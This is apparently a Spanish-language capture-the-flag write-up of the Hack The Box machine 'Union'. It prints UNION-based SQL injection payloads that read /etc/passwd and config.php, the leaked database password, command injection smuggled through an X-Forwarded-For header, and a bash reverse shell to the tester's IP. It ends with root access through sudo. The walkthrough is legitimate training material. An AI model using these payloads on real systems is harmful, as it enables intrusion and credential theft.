Inicio Union Writeup
Entrada
Cancelar

Union Writeup

10.10.11.128 Union (medium machine)

Information Ghatering / ScanPorts

  • Comenzamos con la fase de recolección de información haciendo un escaneo por TCP en todos los puertos con nmap
1
2
$ nmap -p-  -sS -vvv  --min-rate 2000 -n -Pn 10.10.11.128 -oG allPorts 

-p- -> escanearemos todos los rangos de puertos (65535)

-sS -> análisis utilizando TCP SYN Este tipo de escaneo, está basado en la velocidad de escaneo, de ahí la versatilidad que mencionamos anteriormente, ya que permite escanear miles de puertos por segundo en una red que se encuentre desprotegida o carezca de un firewall, no termina la conexión TCP/SYN - Envias un SYN - Recibes un SYN/ACK - Envias ResetPacket

-vvv -> verbose para que mediante vayas descubriendo puertos se reporten en la terminal

–min-rate 2000 -> paquetes enviados no mas lentos que 2000 paquetes por segundo, envío de paquetes super rápido

-n -> que no aplique resoluci+on de DNS para que no tarde el escaneo

-Pn -> ni que me detecte el descburimiento de hosts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ nmap -p- --open -sS -vvv --min-rate 5000 -n -Pn 10.10.11.128 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-31 17:04 CST
Initiating SYN Stealth Scan at 17:04
Scanning 10.10.11.128 [65535 ports]
Discovered open port 80/tcp on 10.10.11.128
Completed SYN Stealth Scan at 17:05, 26.49s elapsed (65535 total ports)
Nmap scan report for 10.10.11.128
Host is up, received user-set (0.093s latency).
Scanned at 2023-01-31 17:04:36 CST for 27s
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.93 seconds
           Raw packets sent: 131088 (5.768MB) | Rcvd: 20 (880B)

Observamos que solo tenemos el puerto 80 expuesto y si hacemos un barrido de puertos y servicio tampoco recibimos suficiente información, eso me hace pensar que la explotación será a través de la web solamente

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
nmap -sCV -p80 10.10.11.128 -oN targeted                               
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-31 17:05 CST
Nmap scan report for 10.10.11.128
Host is up (0.068s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.44 seconds

-sCV -> escaneo lanzando scripts que detecten servicios y versiones

-p -> especeficando los puertos a escanear

-oN y todo nuestro output lo guardamos en una captura formato nmap con el nombre de targeted

vemos un sitio web un poco extraño donde pide ingresar un usuario, dicho sitio es una especie de registro en un torneo. eso me hace pensar que ya hay algunos registros por detras contemplados asi que puede ser vulnerable la base de datos por inyección.

el sitio comtempla php intentando varios tipos de command injection no tengo resultados ya que mi input lo registra y me pide una especie de flag

para completar el registro me pide una flag, para visualizar esto mejor y tener comodidad al leer el output de la web interceptaré por Burpsuite la petición, por lo tanto al tramitar mi data por POST trataré de hacer la tipica inyección SQL para ver que tipo de resultado me arroja

y vemos que nos menciona un usuario llamado ippsec que ya esta registrado en el sistema, por lo tanto la explotación puede ser por SQLI

Post Explotación

en este punto haré varias tipos de inyecciones guíandome de alguna error based para enumerar columnas

1
2
3
player=admin'order by 10-- -
player=admin'order by 5-- -
player=admin'order by 1-- -

pero no tenemos éxito, me sigue reportando que se ha registrado el usuario, por lo tanto intentare directamente aplicar una unión comenzando desde la primera columna seguido de otras mas un tipo fuzzing

1
2
player=admin'union select 1,2,3-- -
player=admin'union select 1,2-- -

hasta este punto me sigue reportando el usuario registrado pero pasa algo si solo enumero una columna

por lo tanto en esa sentencia de valor de 1 es donde aplicaré las querys, comenzando con un version() para enumerar la versión de la base de datos en uso

la query puede ser directa por lo tanto intentare enumerar primero el nombre de la base de datos en uso ,si puedo cargar archivos internos del servidor y algun usuario con el que este relacionado con la db

consulta para saber el nombre de la base de datos en uso

1
2
3
4
5
$ mi input
player=admin'union select database()-- -

>output 
Sorry, november you are not eligible due to already qualifying.

consulta para apuntar a archivos internos del servidor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$mi input
player=admin'union select load_file("/etc/passwd")-- -

> output 
Sorry, root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
htb:x:1000:1000:htb:/home/htb:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:109:117:MySQL Server,,,:/nonexistent:/bin/false
uhc:x:1001:1001:,,,:/home/uhc:/bin/bash
you are not eligible due to already qualifying.

consulta para ver usuario

1
2
3
4
5
$mi input
player=admin'union select user()-- -

>output 
Sorry, uhc@localhost you are not eligible due to already qualifying.

Explotación

  • En este punto ya tenemos varias cosas interesantes
    1. Nombre de usuario
    2. Nombre de la base de datos
    3. Lectura de archivos internos del servidor

por lo tanto comenzaré con las inyecciones sql sobre la db en uso que es november

Primera inyección para saber las tablas existentes de la db “november” Muy bien veo una que la tabla se llama flag Posteriormente haré otra inyección para saber las columnas de la tabla flag

y veo una columna que se llama one Haré una ultima inyección para dumpear el contenido que se almacena en la tabla flag en la columna one

anexando un group_concat por si veo mas data seguido de pero ese no es el caso, simplmente hay el valor que parece ser la flag de un usuario y ese usuario quiero pensar que es uhc@localhost, comprobaré en el sitio web si con ese usuario y esa flag me sale alguna otra cosa

y enhorabuena :D en complete challengue colocando la flag me permite tener acceso por ssh ya que mi ip la registra, haciendo otro escaneo con nmap vemos el puerto 22 expuesto , que ese puerto no estaba abierto la primera vez que hicimos el escaneo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ map -p- -sS --open -sCV -n -Pn 10.10.11.128                           
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-31 22:30 CST
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.68% done
Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 22.32% done; ETC: 22:31 (0:00:35 remaining)
Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 25.35% done; ETC: 22:31 (0:00:29 remaining)
Nmap scan report for 10.10.11.128
Host is up (0.068s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea8421a3224a7df9b525517983a4f5f2 (RSA)
|   256 b8399ef488beaa01732d10fb447f8461 (ECDSA)
|_  256 2221e9f485908745161f733641ee3b32 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.37 seconds

el único problema es que no tengo credenciales para acceder por ssh ni una clave que me permita acceder directamente, enumerando con la inyección load_file(“”) hay rutas por defecto en el sistema que guardan archivos importantes de configuraciones como config.php, el servicio emplea php por lo tanto buscaré en la ruta por defecto en /var/www/html/config.php

y tenemos credenciales:) solo falta probar si son las mismas para el usuario uhc (usuario que extraímos del /etc/passwd)

1
2
3
4
5
6
7
8
9
 <?php
  session_start();
  $servername = "127.0.0.1";
  $username = "uhc";
  $password = "uhc-11qual-global-pw";
  $dbname = "november";

  $conn = new mysqli($servername, $username, $password, $dbname);
?>

y efectivamente son las credenciales, por lo tanto tenemos la primera flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ sshpass -p 'uhc-11qual-global-pw' ssh uhc@10.10.11.128    
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Nov  8 21:19:42 2021 from 10.10.14.8
uhc@union:~$ whoami
uhc
uhc@union:~$ find \-name user.txt
./user.txt
uhc@union:~$ find \-name user.txt | xargs cat
0217bc461a1f2d56a27b91eabf1dd7cb
uhc@union:~$ 

Privilege Escalation

al meternos al directorio /var/www/html/ vemos un firewall.php es emplea X_FORWARDED_FOR y el uso de iptables

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
require('config.php');

if (!($_SESSION['Authenticated'])) {
  echo "Access Denied";
  exit;
}

?>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<!------ Include the above in your HEAD tag ---------->

<div class="container">
		<h1 class="text-center m-5">Join the UHC - November Qualifiers</h1>
		
	</div>
	<section class="bg-dark text-center p-5 mt-4">
		<div class="container p-5">
<?php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
              <h1 class="text-white">Welcome Back!</h1>
              <h3 class="text-white">Your IP Address has now been granted SSH Access.</h3>
		</div>
	</section>
</div>

este script nos indica que si logramos tener acceso emplea la variable que será nuestra ip seteada donde ip vale la cabezera HTTP_X_FORWARDED_FOR el campo de encabezado HTTP X-Forwarded-For es un método común para identificar la dirección IP de origen de un cliente que se conecta a un servidor web a través de un proxy HTTP o un equilibrador de carga. HTTP_X_FORWARDED_FOR: si no está vacío indica que se ha utilizado un proxy. Al pasar por el proxy lo que hace éste es poner su dirección IP como REMOTE_ADDR y añadir la que estaba como REMOTE_ADDR al final de esta cabecera. es por eso que una vez que ponemos la flag correcta nos habilita el puerto aceptando solo nuestra ip por medio de ip tables, delante de ip hay un campo que podría seguir otro comando que yo le indique a nivel de sistema, por lo tanto agregare la cabezera primero

X-FORWARDED-FOR:

seguido de la data que quiera inyectar en $ip donde hace la comparacion en el script de php, por ejemplo en este caso me enviaré una traza icmp para ver si tengo un RCE,quedando de la siguiente forma

X-FORWARDED-FOR: ;ping -c 1 10.10.14.8;

y logramos tener traza icmp solo nos queda enviarnos una reverse shell

1
X-FORWARDED-FOR: ;bash -c 'bash -i >& /dev/tcp/10.10.14.8/443 0>&1';

estamos como www-data y si doy sudo -l para observar que puedo ejecutar como nivel de sudo vemos una ruta de path, solo con un sudo su tendría que estar dentro sin proporcionar contraseña

1
2
3
4
5
6
7
8
9
10
11
www-data@union:~/html$ export TERM=xterm
www-data@union:~/html$ export SHELL=bash
www-data@union:~/html$ ls
challenge.php  config.php  css	firewall.php  index.php
www-data@union:~/html$ sudo -l
Matching Defaults entries for www-data on union:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on union:
    (ALL : ALL) NOPASSWD: ALL
1
2
3
4
5
6
www-data@union:~/html$ sudo su
root@union:/var/www/html# whoami
root
root@union:/var/www/html# cat /root/root.txt 
e382630e05c003779f3b38e973137516
root@union:/var/www/html# 

por fin tenemos la flag y otra máquina mas hecha:)!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.